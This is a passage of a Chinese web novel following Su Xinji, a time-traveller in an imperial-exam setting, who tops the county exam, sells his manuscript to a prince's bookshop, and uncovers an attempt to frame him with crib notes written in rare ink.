不少人对苏辛尔投来怜悯的目光,科举考试就是千军万马过独木桥,过了县试还有府试、院试,即便是成了秀才,也不过是个起点,只能说见官不贵,免除徭役。到了举人的位置,才有机会进入官场。
文人本就有傲气,苏富自己都考不中,在这里责骂儿子,不就相当于奚落所有落榜之人么。本来就心里不爽,听到苏富的言论,心中的怒火彻底被挑起来了。
“你们苏家不是有人中了正场?莫要太贪心!”
“天道酬勤,苏家三房这下算是吐气扬眉了,压了二房,苏掌柜这才心中有怨吧?”
人群中不知道谁幽幽地说了句,苏富脸色阴沉似海,看向苏辛集的目光颇为不善。
这小子,究竟是怎么回事,能作诗有点歪才还可相信,若要说只读了两个来月的书,就夺得正场之名,真是太匪夷所思了。
察觉到二伯的视线,苏辛集缓缓扭头,对视一瞬,他缓缓一笑。
二房张狂了这么些年,也该收敛了。老爷子还在,就算二房赚的再多,在绝对的权力面前,也得夹着尾巴做人。
苏富没想到侄子会如此自信,眼神一冷,甩袖离开。
没多久,温长丰、杨闻道等人从人群中走出来,温长丰的心情很不错。
“小师弟,恭喜啊!”
“大师兄,二师兄,你们怎么样?”苏辛集光看表情,就知道情况,只是还想知道具体名次,这才有此一问。
“我二人都出圈了,大师兄是三十七名,我是四十九名。这次咱们书院,三人上榜,夫子知道了肯定高兴。”杨闻道说着,看了一眼垂头丧气的邓明光,他若是能把算计人的心思用在学习上,何至于如此?
“辛集,一起去缘合居庆祝庆祝?”温长丰盛情邀请道。
“二位师兄,你们先回去,我还有点事儿需要去处理,不如等考完其他几场,我们再聚?”苏辛集还想去书局把《诛仙》的手稿卖了,读书人赚钱容易,花钱也是如流水一般,县试过了,还得去省城的书院读书,接着要参加府试,哪里不需要花钱?
“也好,那你自己小心,我们先回去了,夫子肯定着急,他来之前便说让把考题仔细记下,回头跟他说。他要在笔记中梳理真题。”
“知道了。”
苏辛集了解周夫子的脾气,若不是他如此认真,一个小小的私塾,也不可能考五过三。这个通过率,堪比某些小型书院了。
秀山书局是个三进的院子。
苏辛集刚走到巷子口,就能听到里面的说话声。
门房里,有个穿长衫的中年人正在接待访客,苏辛集打眼一看,就知道这些人都是作者。几个人或年长,或年轻,都在与门房里的中年人聊天。
这里是睿王爷家的产业,老王爷是当今圣上的亲叔叔,先帝爷的小弟。他的门房,也不是一般人能进的。
要不是拿着赵掌柜的推荐信,苏辛集根本没机会来睿王爷家的书局。
第三十章 火药味
“这位公子看着面生,是来投稿的?”中年人打量着苏辛集,衣着光鲜,手指白嫩,倒算体面。
“先生说的是,我这里有一封崇文阁赵掌柜的推荐信。”说着,苏辛集把信封递了过去。
中年人也没放在心上,随手便打开了赵掌柜的信。
“哦?是你娶了谢家丫头?”中年人再次打量起苏辛集。
苏辛集提前打探过,睿王爷不理朝政许多年,起因好像就跟阁老的专横独行有关。这里面的细节,一般人打听不到,但只要知道睿王府的立场,很多事情就知道该往什么方向使劲儿了。
“是,圣上恩典,赐婚于苏家。说来也是我运气好,这次县试得了正场第一,算是双喜临门吧。”苏辛集适时的推销自己,机会就一次,定是要抓住的。
其他几人听说苏辛集拿到了府试的入场券,也对他另眼相看。笑着和他打招呼,苏辛集马上回礼,谦虚的态度倒是让众人很满意。
中年人想了想道:“诸位,请随我来。”
今日这几人的稿子,是不可能都收下的,若是能收个两三本,也算是可以的。秀山书局之所以发展起来,完全是因为选品的能力,书局请来审稿的先生,大致分为两类,初审的先生都是有功名在身的,主要是看是否踩线、行文是否流畅,情节逻辑是否缜密,接下来是二审,便是一些能把握市场风向的人,二审过后,便可对小说评级,决定价格、印刷本数。
绕过影壁墙,苏辛集看到不少人进进出出,有的人在整理书稿,有的人拿着活字在排版,还有的人在印刷……
苏辛集感叹道:“真是大手笔!”
中年人微微一笑,眼神中带着几分得意,他知道这不是恭维的话。
几人一路前行,大约一盏茶的功夫,苏辛集来到了第三进的院子。注意到一个穿着道士服的人正在浇花,苏辛集有些意外。
“表少爷,人都带来了。这位是下面崇文阁掌柜推荐来的新人。”
表少爷?
经过中年人介绍,他才知道,这是小王爷的表哥,府里人称他为表少爷。
据说书局还有一些产业,都是表少爷在打理。
“稿子都放屋里吧。”
苏辛集看到表少爷面无表情,心中难免忐忑。
表少爷匆匆一翻,稿子便份成了两摞,最后才是苏辛集的《诛仙》。表少爷拿着书,头开始还有些不耐烦。
过了一会儿,表情渐渐专注,随着情节起伏,他一会儿皱眉,一会儿捋着胡须,心里便有了答案。
果然,半晌之后,表少爷抚掌而叹:“妙啊!苏公子年纪轻轻,便有这等文采。真是可喜,可叹!这样的修仙世界,爱情故事,你是怎么想到的?”
“过奖,过奖。”苏辛集内心是有些尴尬的,这些都是他站在前人的肩膀上,拾人牙慧而已。虽说也不可能原文复述,但基本框架还是借鉴了的。
“敢问先生,这小说,您觉得行么?”
“视角新奇,可读性极强。你这只是第一卷,后面还有几卷?”
“我计划是写六七卷吧,这不一直在准备县试,并没有太多时间。”
“嗯,你的正场成绩不错,真是后生可畏啊。呵呵,这话本写的不错,第一卷我可以给你二百两银子,买断。第二,你也可以选择分成,就是说书交给我们来运营,后期你可以分享销售利润,我给你一成。”
苏辛集有些无语,这不是抢钱么。赵掌柜闲聊的时候提到过,这边很多老作者都是三七分成,还有四六分的,怎么到了自己就成了一九分?
真是丢了重生者的脸面。
看到苏辛集这个表情,中年人立马解释起来:“苏公子,你可莫要看不起这成的纯利,我们能给一成,已经是对新人作者的照拂了。若说你这话本去了帝都,你首先要拿三成以上的利润,分给书局,其次是上下打点,皇城根下规矩多,这也占了三成利润,最后是说书先生,想让他们帮忙做宣传,那就要狠狠的说。还有一切杂七杂八的费用,你觉得作者手里还能剩下多少?”
苏辛集这才反应过来,他们跟现代出版商比差得远着呢,根本没有版权保护的说法,要是银子给的不到位,那估计用不了几天,盗版就得满天飞。想到这里,苏辛集点头答应:“一成就一成吧,咱们签合同。”
就这样,两人敲定合作细节,在拟定好合同后,一式三份,双方各拿一份,还有一份要送到衙门备案。
“苏公子,若是出来第二卷,一定要拿来给我先睹为快,说实在的,我这会儿就想看看后面的情节呢。”中年人送苏辛集离开,语气客气了不少。
“承蒙照拂,待我写出第二卷,届时定要请您指点一二。”苏辛集谦虚的说道。
在这个万般皆下品,惟有读书高的时代,苏辛集能考到县试正场第一,又可以写出如此精彩绝伦的小说,简直是不可多得的人才。
更难得的是,苏辛集才刚十七岁,年轻就意味着无限潜力。
此刻的苏辛集还不清楚,这本小说会给他带来什么样的惊喜。
这边,周夫子得知五个学生,有三个拿到了府试资格,开心不已。
县试分为正场、初复、再复、连复,有的是四场,也有可能是五场。通过正场后,第二场便可自愿选择。每天一场,中间隔几天。正场没过的,是不能参加下一场考试的,只要正场过了就有府试资格,剩下的考试主要是为了区分排名,只有按成所有场次,并且在长案居于首位,才算是县案首。
对于接下来的几场,周夫子根据学生们回忆的考题,又做了推算,做出了几份试题。
苏辛集签下书稿,心情大好,连夜赶回家中。
老爷子苏谅破天荒等着苏辛集一起吃晚饭。
“集儿,表现不错,接下来的府试你可要好好准备,争取拿个名次,到时候这个家就得靠你了!”大房家的李氏带着几分挑事儿的心思。
苏富不乐意了:“呵呵,大嫂这话说的恐怕有些早了,科举虽被成为青云梯,可天地浩渺,能者数不胜数,一个小小的正场,又算得了什么?”
第三十一章 双喜临门
苏辛尔见大伯母如此,父亲又失了脸面,他羞愧地低下头,一口牙咬的咯吱咯吱响。
大房家的李氏似乎根本没有在意二房的态度,冲着苏辛集道:“集儿,都拿到府试名额,还能这么镇定自若,不愧是读过圣贤书的,就是不一样。说不定你未来的成就能超过老爷子呢。若是有朝一日金榜题名,成了状元郎,可千万别忘了大伯母。”
“怎么会?”
苏辛集和苏辛尔异口同声。
苏辛集的意思是,怎么可能忘了大房,都是一家人。
苏辛尔的意思则是状元多么难考,他一个连秀才都不是,如何就能高中?
苏辛尔心中憋着一口气,自己开蒙多年,可连榜单都没上,苏辛集不过是个傻子,结果人家成了正场第一名。
苏辛尔消化了很久,这才囫囵着应承了下来,脸上的笑容愈发的令人琢磨不透。
“中了是好事儿啊,辛集这次表现得不错,辛尔需要再接再厉,你们兄弟俩是我们苏家的脊梁啊。”老爷子苏谅刚落座,便看向在场的几个孙子。大房家的儿子还小,二房和三房家的孩子,自己兴许还有机会看他们高中举人,甚至更进一步。
苏家老爷子是举人出身,当过一任知县,如今致仕退休在家,可脑子一点没闲着,这次见苏辛集取得了好成绩,心中自是高兴。他这话,并不夸张,虽说大房也是秀才,可那是考了二十年才中的,跟苏辛集这种读了两个月的书,就能当正场的人完全比不了。
“爷爷,我会努力的。”苏辛集道。苏辛集不会客气,苏家家主,有能者居之。苏辛尔则是全程低着头,不敢跟爷爷对视。苏富看到儿子唯唯诺诺的样子,又想起他连榜单都没上,心里特别不是滋味。
“啪!”苏富一拍桌子:“算了,爹我不吃了,突然想起来他们喊我去打牌,你们不用管我了,先吃吧。”
苏富说着,抬起脚步,脚掌重重地踩在地上,那架势似乎要把地面跺穿。苏辛集终于出了口恶气,真是畅快人心。
苏富提前离开,二房一家脸色焦黑。苏老爷子笑着看向苏辛集:“回头剩下的几场考试,让吴管家陪你一起,咱们苏家不是什么显赫世家,但子孙参加县试,也是要有人伺候的。”
苏辛集暗暗瘪嘴,第一场考试也没见你安排管家啊,二房苏辛尔他们可是住在苏家的院子里,现在见我榜上有名,就变脸了?
老爷子擦了擦嘴巴:“行了,你们继续,我有些乏了,先去休息。”
苏辛集连忙起身相送。
苏辛尔看着三弟的背影,紧握双拳,之前为了争夺白鹿洞书院的名额,他特意使了银子,给苏辛集安排了厕号,算是上一道保险,只要苏辛集榜上无名,那无论自己发挥成什么样,父亲肯定会想办法拿到名额。
可现在人家苏辛集榜上有名,自己却落榜了。
把爷爷送到书房,苏辛集来到屋檐下,他不由得望了望天,今天真是双喜临门,拿到了府试入场券,书稿也签了合同,这其中有自己的努力,也有贵人相助。
苏辛集表面镇定,实际心里早就乐开了花。穿越到古代一个傻少爷身上,家中只有一母,大房、二房都想吃绝户,觊觎朝廷给的补偿。还没弄清楚状况,又被硬塞了个媳妇。苏辛集心理是有压力的。
现在终于可以松口气了,插画买给赵掌柜,后续可以拿分成,《诛仙》卖给秀山书局,后面还有源源不断的银子。当然,要是不能按时交第二卷,是要承担违约责任的。苏辛集倒是不担心,反正他肯定会写完的,谁会给银子过不去呢?
心情舒畅,脚底生风。苏辛及很快回到了三房的院落。
“娘,好消息!”
苏辛集兴奋的跟母亲分享心中的喜悦。谢嫣儿站在廊檐下,见到苏辛集回来,也迎了上来。
听了苏辛集的描述,林沐芳松了口气:“拿到府试名额就好。下面几场还打算考么?”
“去吧,夫子还等着充盈题库呢,再说了,要是真考到案首,去白鹿书院就可以免费入读,又能省不少银子呢。”苏辛集手里有些银子,可他还是觉得能省则省。
读书的路长着呢,拿下府试之后方可被称为童生,童生才能参加院试。若府试没过,来年就要从县试开始。苏辛集绝对不想要从头再来一遍,所以他这次就已经没退路了,四月份的府试必过!
“好好,都听你的。”林沐芳感叹道:“我听人说,写话本子挺赚钱的,少说也得几十两银子,还是识文断字好啊,能参加科举,还有机会赚钱,拿到功名就可以像夫子那般开学堂教书,如若不行,写写话本子也是极好的。”
“也是侥幸。”苏辛集把赵掌柜推荐,又恰好见到表少爷的事情说了。
“那也是你的实力到了,不然人家就算是推荐,也不管用啊。”林沐芳看着儿子,是越看越 欢喜,早怎么没发现儿子还有这等天赋?
下面的几场考试,苏辛集手到擒来,没什么悬念,只是中间出了个不大不小的插曲,让所有人心头一紧。
是夜,最后一场考试前夕。
苏辛集突然被一声叹息惊醒,他看到管家一脸怒意,小声问道:“吴伯,你怎么不休息?”
吴管家从苏辛集的单衣内侧,发现了一些字迹,苏辛集微微一怔,面色沉了下来。
“除了他们就没别人了!”
苏辛集见管家这次要动真格的,连忙拉着管家的手:“吴伯,这些事情,就交给我来处理吧。损人不利己,这人恐怕心里憋着口气。”苏辛集很清楚,如果自己真的被抓,那其他四个人也得跟着遭殃,能这么做的,也只有没上榜的两个人。
考场外,苏辛集看着不断有人绝望地喊叫:“我没有夹带,这不是我的!”
从第一场开始,就一直有类似的事情发生。看着前方绝望的学子,苏辛集的心也提了起来,若不是管家警醒,这次倒霉的便是自己!
第三十二章 墨中黄金
来到衙役面前,见没搜出什么违禁物品,苏辛集这才松了口气。检查的时候,苏辛集突然想起那件被写了字的单衣上,墨香味很特别,回头倒是可以跟吴管家说说这个发现。
县试第五场,人数比第一场少了很多。苏辛集凝神,开始答题,能不能成为案首,是根据这五场的总成绩排名的。自己前面几场发挥得不错,只要第五场能够正常水平发挥,案首不是问题。
重生前,苏辛集就是个学霸,这种连考五次的场面,对别人来说,是身体和心理的双重考验,但是对他来说,那就是轻车熟路。苏辛集现在还记得高三总复习阶段,一天考五门的名场面,现在的考试,每一场之间都让休息,已经很仁慈了。
最后这一场,难度略高于前三场。属于淘汰场,首先是一道四书题,“其为人也孝弟,而好犯上者鲜矣。”
这道题必须要紧扣“孝弟为本,顺敬止犯”的核心,抓住主题,便是范式合规,八股对仗工整,破题承题点题精准,这个苏辛集专门做了大量练习,草稿上都是一气呵成,只有细微修改。
下面一道是经义题,周夫子算是压中了这道,虽说不是一模一样,但思路和范式都可以借鉴。苏辛集知道,第四、第五场只要不出大错,就不会被淘汰,名次主要还是看正场。他便没有另辟蹊径,而是顺着夫子的思路,重新整理写下了答案。
前面两道苏辛集很快写完,一看时间尚早,吃了点干粮,又继续做剩下的。
诗文考的是百姓之苦,苏辛集脑海中立马闪现出一句古诗:“可怜身上衣正单,心忧炭贱愿天寒。”
这句诗写的极妙,简直堪称写底层疾苦的神句,用极致矛盾戳透了卖炭翁的绝望,白描见血,全诗却没有一句是直接控诉。
此时恰好是冬天,这首诗不光切题,而且应景。底层百姓被层层盘剥下,连基本的生存空间都被剥夺了,借一人之苦,写万民之哀。苏辛集猜到,知县出这个题,就是想要听到有人能站出来替百姓口诛笔伐。
苏辛集略微思索,便把诗文写了上去。苏辛集原本可以写一个更中庸些的,只是他实在是好奇,知县是什么样的人。
反正府试的名额已经到手,即便长案总评不是那么理想,也可以接受。
最后一题是论。涉及法律,苏辛集早有准备,写完之后,又是第一个交卷的。出了考场,见管家笑眯眯的站在门口,苏辛集心头一暖,原主被两个堂哥欺负,只有吴管家看不过去,悄悄帮苏辛集,感受到记忆中的点点温暖,苏辛集的眼神柔和了几分。
“三少爷,怎么样,还算顺利么?”吴官家自然的接过苏辛集的考篮。
“顺利。”苏辛集 点头。
“那就好,老爷子挺着急,刚才还差人问我情况,他不知是从哪儿听说了小抄的事情,还给我留话,必须查到水落石出为止。”
“不用,吴伯,我自己能行。”苏辛集有办法查出是谁,这事儿没必要让爷爷跟着操心。苏信集都没打算自己动手,他直接让人给夫子捎了封信。
周夫子听了消息,怒气冲冲的找来了苏辛尔和邓光明。夫子没有避讳,就在学堂中讨论起来。
“不是我!”
邓明光愤怒的辩解道,他刚回家就发烧了,今天才刚有所好转,根本不会做这个。苏辛尔更是不承认,局面瞬间僵持住了。
“大家都是同窗,你们主动承认是一回事,被查出来,那就另当别论。”夫子一甩袖子,气哼哼的离开。
但凡不是傻子,都不可能做这种损人不利己的事情,可偏偏,有人做了!
只能说,嫉妒心可以让一个人彻底扭曲。
苏辛集跟管家一起回家,半路他特意绕了下,去崇文阁找赵掌柜表达感谢。
“掌柜的,在么?给你带了点茶叶。”苏辛集顺手把半斤茶叶放在桌子上。
“在在,你说你来就来吧,还带什么东西。”见苏辛集如此感恩,赵掌柜便猜到书局肯定是收了书。
“这不是来看看你们。”苏辛集把在书局发生的事情,都跟赵掌柜说了。
“呵呵,你能得到表少爷的赏识,那日后绝对能高枕无忧了。”赵掌柜一听对方愿意给分成,就能大约猜到表少爷的心思了,前期不想多花钱,后面还能通过这本书拉进跟作者的关系,一举两得。
“好吧,那您能帮我看看这个吧。”苏辛集把带的薄衫拿了出来。
“这是……”赵掌柜瞪大眼睛,像是看到了什么不可思议的事情。
“正楷。”苏辛集道。赵掌柜闻言,连连点头:“就连这文墨,也不是一般家庭能用得起的,这是徽墨,堪称墨中黄金啊,写字飘香,遇水不化,墨质细腻,是宫廷常客。”
说到最后,赵掌柜微微有些忐忑,大不敬的话,不传出去怎么都好说,就怕有人大嘴巴……
“好,我了解了。”
苏辛集眼中闪过一抹寒芒,若不是这么多证据,他还真不敢相信,只是那位表少爷,到底图什么?
开始,苏辛集也怀疑过堂哥,只是当他注意到衣服上的墨迹,又觉得不是。如今得到赵掌柜的指点,苏辛集觉得距离真相越来越近了。
衣服上的答案,算是个小插曲。第二天的长案结果,才是最需要关注的。苏辛集的心情三分紧张,七分期待,所以天没亮就起来了。
“你怎么不多睡会儿?”
“这不是想看看成绩,你先休息吧。”苏辛集对谢嫣儿道,如今俩人睡在一张床榻之上,但苏辛集并没有过分之举。他最近忙着备考,实在是没功夫,再者他总觉得谢嫣儿有些古怪。
平日里看得出她对自己的关心,可一到正事儿上,就有些畏畏缩缩的,不知道她的心意,苏辛集不想强求。
“我也要起来了,等下去寺里还愿。”
苏辛集听到后背一僵,随后道:“要是去寺里,带上娘,多个人,也算多个照应!”
第三十三章 魏家人
苏辛集知道,谢嫣儿最近老去寺里,传出来不少风言风语,可他依旧选择相信妻子。还拿出些银子给谢嫣儿,让她带上,想买什么就买,反正话本已经签约,后面家里就有源源不断的进项。
谢嫣儿看着苏辛集,神色有些黯然,最终还是接下了苏辛集给的碎银子。
翌日,天未亮。
苏辛集便早早起来,县试发长案成绩,他便约了几位同窗,准备去瞧瞧。胡天庆特意请了一天假,非得要跟着去凑热闹。
“我听说,夫子让邓明光日后不用来了。苏辛尔被他叫到书房,说什么执念太深,终究会伤人伤己。最后耷拉着脑袋出来的,要不是给苏家面子,估计他也得被开除。”胡天庆说着,看了苏辛集一眼。毕竟他俩是堂兄弟,胡天庆确实担心苏辛集有想法。
“夫子一向正直无私,这次真是犯了忌讳,难怪会动怒。”温长丰对坑害同窗的事情,很是气愤,觉得夫子这么处理没错,就算这次的事情不是邓光明做的,他这种居心不良的人,也不配在学堂里跟大家一起读书。
“我倒是觉得,这事儿另有隐情。”苏辛集思忖片刻,还是决定说出自己的发现。
“你的意思是……不是邓光明?”胡天庆一脸意外,没想到苏辛集会帮邓光明说话。
“至少,他不是主谋。我的单衣上,字迹工整,墨香绵长,那么贵重的徽墨有钱也买不到的。”苏辛集道。
“徽墨?”胡天庆家里是做生意的,知道上等徽墨的稀缺性,他诧异地道:“那对方费这么大的劲儿,到底要干什么?若要针对,其实用普通笔墨不是更好隐匿身份?”胡天庆看出了里面非比寻常。
苏辛集听到这里,眼前灵光一现:“等等,你刚才说什么?”
“我说没必要费这么大的劲儿啊。”胡天庆不明所以地道。
“不是,最后一句。”
“用普通笔墨不是更好隐匿身份么?”胡天庆迟疑了下,总重还是说道。
“对,就是这个。自打分辨出这墨价格不菲,极品徽墨只有皇家和原产地有,我就在琢磨对方为何会如此大意,留下这么明显的破绽。天庆兄说得没错,也许对方就是想让咱们知道,这次下套的人非富即贵,甚至有可能就是天潢贵胄。”苏辛集分析道。
“那也说不通啊,皇家为何会针对咱们,他们举办科举考试,不就是为了选拔人才。在此期间弄出这种局面,到时候也不好收场啊?”杨闻道很快发现其中不合逻辑的地方。
“我知道了,肯定是有人想要让学子们故意出圈,比如说辛集,他正场是第一,可要是上面有人想要暗箱操作,那最好的办法不就是让他出圈么,腾出来的位置给关系户,不就说得通了?”胡天庆骄傲地挺直胸脯,似乎是在等众人表扬。
“天庆,这话不好乱说的。”温长丰潜意识里也认可这种说法,对方能用徽墨,自然不是一般人家。
苏辛集掀了掀嘴角:“就算是背后有主使,邓明光也有可能是同谋,考试期间,咱们一直跟他住在一个院子里啊,他有很多机会可以接触到我的单衣。他肯定是知道自己没戏了,就开始动歪脑筋。要是真被他坑了,日后能不能参加科举都未可知。”
几个人一路探讨,很快就到了县衙。
一看门口的人,苏辛集就知道,这个点等放榜的不只是学子,还有不少学子的家属。
“县试发榜,闲人退后。”衙役站出来说话的同时,把看榜单的学子往后压。
“大昭朝十七年县试,县案首,万安府山阴县,苏辛集。”
“苏辛集,苏辛集!”
周围人一窝蜂地喊着,苏辛集有些恍惚,仿佛看到前世参加某位天王级歌手的歌友会。
“辛集兄,你这是厚积薄发啊,恭喜恭喜!”
“时来运转啊,看来娶了谢家女儿还是有福报的。”
众人多数都是看着苏辛集长大的,当时圣上下旨意要把谢家女儿许配给苏家,多数人都捏了把冷汗,现在看到苏辛集完全没受影响,反而愈发聪慧,难免要感慨两句。
苏辛集无语,当初你们可不是这么说的。都说什么苏家三傻子好福气,癞蛤蟆吃到了天鹅肉,如今又这般……
苏辛集正想往前挤一挤,身后突然传来一阵脚步声。
回头看去,就见十几个衣着整齐划一的家丁,如同两柄利剑,直接分开了人流。被推开的人,发出阵阵痛呼,还有些人险些被挤倒,若是这个时候倒下,极易发生踩踏事件。
“真是太狂了!”
“有辱斯文!”
人群中,不少人纷纷议论起来。吵嚷中,一辆锦缎马车到了榜前,车夫趴在地上,充当脚凳。披着狐裘大衣的年轻男子,从车里下来。
看到出来的人,不少人压低声音,“魏家的!”
刚才吵嚷的瞬间闭了嘴。魏家早就搬到了别的地方,只因科举考试必须要回原籍参加,不然在山阴县,是很难见到魏修宴这等风姿绝绰的人物。
紧随其后的是一个十三四岁的少年郎,他一步跳下马车,看了一眼自己的座号:“三哥,我是第二名。”
言语中,似乎对这个名次很不满。
“也很好。”
魏修宴微微点头,小弟是个什么样的人,他心中有数,即便是知县给魏家面子,也得有个度。可少年郎魏修梁却不这么想,他转头看了一眼人群,指着案首问道:“此人可在?”
魏修梁倒是要看看,是谁抢走了自己的案首之位!
在场众人张望,苏辛集就听到不远处,有个尖嘴猴腮的男人兴冲冲的喊道:“魏小公子喊你,苏兄还愣着做什么?”
急切的模样,让不少学子蹙眉,这般明显的攀附,人家魏家未必会多看你一眼!
苏辛集倒是不紧张,大步上前,“我是苏辛集。”
不等魏修梁开口,家丁就冲着苏辛集呵斥:“还不行礼?”
苏辛集看了一眼家丁:“我并不是魏家的奴才。”
听到这话,不少学子竖起了大拇指,铮铮铁骨,不卑不亢,这才有读书人的样子嘛!
第三十四章 结下梁子
“好,你很好!”魏修梁咬牙切齿的瞪着苏辛集,魏修宴不想在市井中浪费时光,冲着小弟道:“走吧,还有很多重要的事情。”
魏修梁也只能跟着离开,上车前,他再次看向苏辛集:“下次你未必有如此运气。”
“我知道,魏小公子榜上有名,凭的都是运气。”苏辛集用只有两人听得到的声音道。
魏修梁一怔,随后恶狠狠的瞪着苏辛集:“你什么意思?”
“呵呵,我拿下案首,凭的是实力。魏小公子若是不姓魏,恐怕连第二的位置也坐不上。”
苏辛集眼神不卑不亢,面对这种人,就绝对不能软弱,你若是退缩,他便愈发张狂。
“说得好!”
刚才魏家的嚣张,大家有目共睹。来赶考的人,多数都是没有背景的普通人,遇到魏家这种权贵子弟,自然是敢怒不敢言。
县试这次取五十个人。只有通过县试的人,才能拿到府试的资格,多数人还是落选的,不少人都认为是魏修梁这样的人,占了大家的名额。
见魏家如此打压案首,众人的怒火跟着起来了。
“县试是朝廷举办的,又不是你魏家张罗的。怎么,还必须是你当案首才行?”
“我看这第二也有水分,我们要查验考卷!”
周围议论不断,魏修梁肯定是没办法跟山阴县的学子们较真,他愤怒的看向苏辛集,把这笔账算到了苏辛集头上。
这家伙故意挑事儿,实在可恨!
察觉到魏修梁的目光,苏辛集缓缓一笑。
真以为天下都姓魏么?
士子们的声势浩大,即便是魏家对上了,也会发憷吧。
“给我把他抓起来!”魏修梁冲着家丁吼道。
魏修宴蹙眉:“还嫌不够丢人?走,跟我回家!”
魏修梁不敢违抗,只能乖乖上了马车。
见到马车走远,学子们更得意了:“天理昭昭,我辈读书人岂能被他们吓倒?纵然身死,也要维护正义!”
这话犹如冷水,落入了油锅中,如今群情激愤,要不是苏修宴看到情况不对,说不定还会引起更大的骚乱。
这边,温长丰趁着大家关注点不在榜单,仔细查找自己的座号。
三十六名!
温长丰松了口气。杨闻道是四十七名。
杨闻道有些忐忑,倒数几名,就算傍上有名,府试大概率还是铩羽而归,因为火候不够,县试都已经这么勉强,下一步未必走的通。
甭管怎么说,四十七名,也不容易。
“闻道,恭喜啊。”
胡天庆抱拳,真切的道贺。
“多谢。”
杨闻道脸上喜气洋洋。内心大喊:父亲,我做到了!
至于苏辛集,倒是没什么情绪波澜,正场结束后,他就清楚府试已经十拿九稳了。如今成了县案首,只要能正常参加府试,功名指日可待。
就算只是个童声的功名,那也很好,日后有人称一声老爷。 而且大昭朝有法律规定,过了府试,有童声功名,就不用从头再来,继续考县试。但要按时过去,若果不能,则革了的功名。
“闻道兄,你们学堂今年不错,五过三啊。这个比率,不少小书院都赶不上呢。”
不少人循声看过来:“周夫子在书堂花了不少心血,我小舅子就在那边学习。”
一行人在附近的酒家吃了饭,就准备收拾东西回山阴县了。
回去的路上,几个人坐在马车里,苏辛集一脸的肃穆冲着车夫道,“有劳了。”
苏辛集和大师兄坐在车里谈天说地,显然苏辛集心情不错,就是中间有些小插曲,他也没太当回事。
与此同时,吴管家安排报信的人,已经快马加鞭赶到学堂。
夫子正好在上课,听到这个喜讯,高兴的合不拢嘴。
正场第一,县试案首!
绝对实力啊。
“太好了,咱们学堂出了个县案首!”
“咳咳,看看人家苏辛集,再看看你们。人家才念了几个月的书,就能吟诗作对,附庸风雅。文章写的也不错。再看看你们?这篇文章都讲了几遍了?你们就走走心吧!”周夫子感慨道,同样的教法,同样的内容,怎么苏辛集就能出彩,你们这些人就连个考场都不敢上么?
“夫子,您真是看得起我们,我们怎敢跟苏辛集相提并论。就连大师兄都比不上他啊!”
夫子点头,这倒是事实。不过该敲打,还是要的。
“这不是你们放纵的理由,人生在世,哪怕是多几个朋友也是好事儿。甭管你们以后是走科举,还是经商,都需要付出心血经营。关系更是这样,门生就算半个亲儿子了。行了,今天提早散学,给你们放假,回家一定要认真完成作业。”
提前放学,就算是夫子跟大家一起庆祝了。
家中。
见夫子唠唠叨叨,夫人道:“夫子,苏辛集他们回来还需要些时辰,既然是县案首,咱们完全可以多赚一点。”
“你这是钻钱眼里去了吧?我跟你说不是为了碎银几两,我是真的替辛集开心,这种天赋,即便是帝都,也少见。”
学堂出了县案首,那就是活广告,再加上五中三的通过率,不少学子都会慕名而来的。像白鹿洞书院,一般人有钱都进不去,附近教学质量好的学堂就是一般人家孩子的最优选择。
“好好,听你吩咐。”夫人刚才就是故意的,想要看看丈夫的真实想法,有没有懊恼,当初确实不该阻拦苏辛集报名。不过丈夫向来嘴硬,就算是知道他错了,也是宁死不认的。
苏辛集一行归来,商议着先来夫子家坐坐。
三人都取得了好成绩,夫子肯定是喜欢的。
“粗茶一杯,你们辛苦了。”师母笑着道。
“我们本来是想等明天去学堂再跟夫子说的,如今看天色尚早,师母不怪我们冒昧就好。”苏辛集道。
“今天来就对了。”夫子笑着道:“万安府的知府本名姓王,此人还是个二甲进士,是个有大才学的人,府试好好准备,一定要争口气!”
第三十五章 观音教现世
苏辛集点头答应:“夫子放心,我一定努力。”
“辛集,老夫已无多少可教你的,下一步,你有何打算?”周夫子心中万分感慨,三个月前,才正式收苏辛集为入室弟子,现在就有种力不从心的感觉,即便他在厚颜,也不好耽误弟子。
“弟子行在师父跟前多学些日子,等三月份去白鹿洞书院。四月份就冲府试。年底冲院试。”苏辛集道。
“也行。一鼓作气,是你的风格。”周夫子本想劝苏辛集稳妥些,见他都已经有了规划,便没有多说,有的人遇到点挫折就丧气,有的则是愈挫愈勇,苏辛集明显就是后者,周夫子相信,他有这个抗压能力。
“就是试试,没有包中的,只是尽人事罢了。”苏辛集倒是没敢把话说太满,即便是两世为人,后面的几场考试对他来说也是有难度的。
“嗯,你有数就好。对了,我听了些风言风语,你考完试是不是去了趟睿王府?”周夫子不是个爱八卦的人,纯粹是关心苏辛集,毕竟这样天赋、毅力都是一等的学生,太罕见了。
“对,主要是想要赚些银两,夫子您也知道,家父早亡。我母亲一个人把我拉扯大,不容易。”论表演,苏辛集是有经验的,他把家里大房、二房的欺压细细说了些,包括学习、娶妻都不能动用公中的银子,若不是爷爷在世,自己兴许都活不到今日。关于写书,苏辛集淡淡的提了提,他清楚夫子是不喜欢他做这些的,多少会影响学业。
“哎,也是个可怜孩子,然三人成虎,人言可畏啊。”周夫子担心众口铄金,苏辛集会承受不住。
“没有伞的孩子,只能拼命奔跑。我相信,淋过得雨终有一日会变成照亮前路的光。”
关于流言,苏辛集也听到了些,无非就是说他弄了些露骨的插画售卖,又写爱情话本,尺度大,甚至还想以此为敲门砖,攀上睿王府。
甚至有人还说的有鼻子有眼,说他就是个兔儿爷。
苏辛集眼神坚定,根本不畏流言。他本来就是想要写话本子,赚学费养家糊口,那些人愿意嚼舌根子,就让他们嚼去,若论起借势、制造舆论,这些人都是弟弟!
周夫子捋了捋胡须,没伞的孩子么……
周夫子本想留苏辛集在家吃饭,苏辛集想着回家陪陪娘子,便婉拒了。
看着这位前途无量的弟子,周夫子满意的点头:“也好,你先回去吧,我总是在学堂外看到你娘,很多事情,她只是不善于表达而已。有时间,多出去走走,不要总是在家学习。”
这孩子平日里用功太甚,如今主动休息,他这个夫子由衷的高兴。为了科举,人还没下考场就生病的比比皆是,就算是一命呜呼的也大有人在。
现在苏辛集是县案首,按照周夫子的规划,考完院试是需要沉淀下的。苏辛集只要把握好节奏,定然能超过苏老爷子。
走出书房,苏辛集又去找同窗好友,几个人勾肩搭背,去了茶楼。
胡天庆是个话痨,拿起一块差点,顺口问道:“夫子跟你都说什么了?”
“夫子问我日后的打算。”
听到这里众人一怔,想到苏辛集是案首,腐试问题不大,要是能一鼓作气,过了院试,那确实应该出去看看大千世界。
“那你怎么想的?”大师兄温长丰问道。
“我开春打算去白鹿洞书院。”苏辛集笑着道。
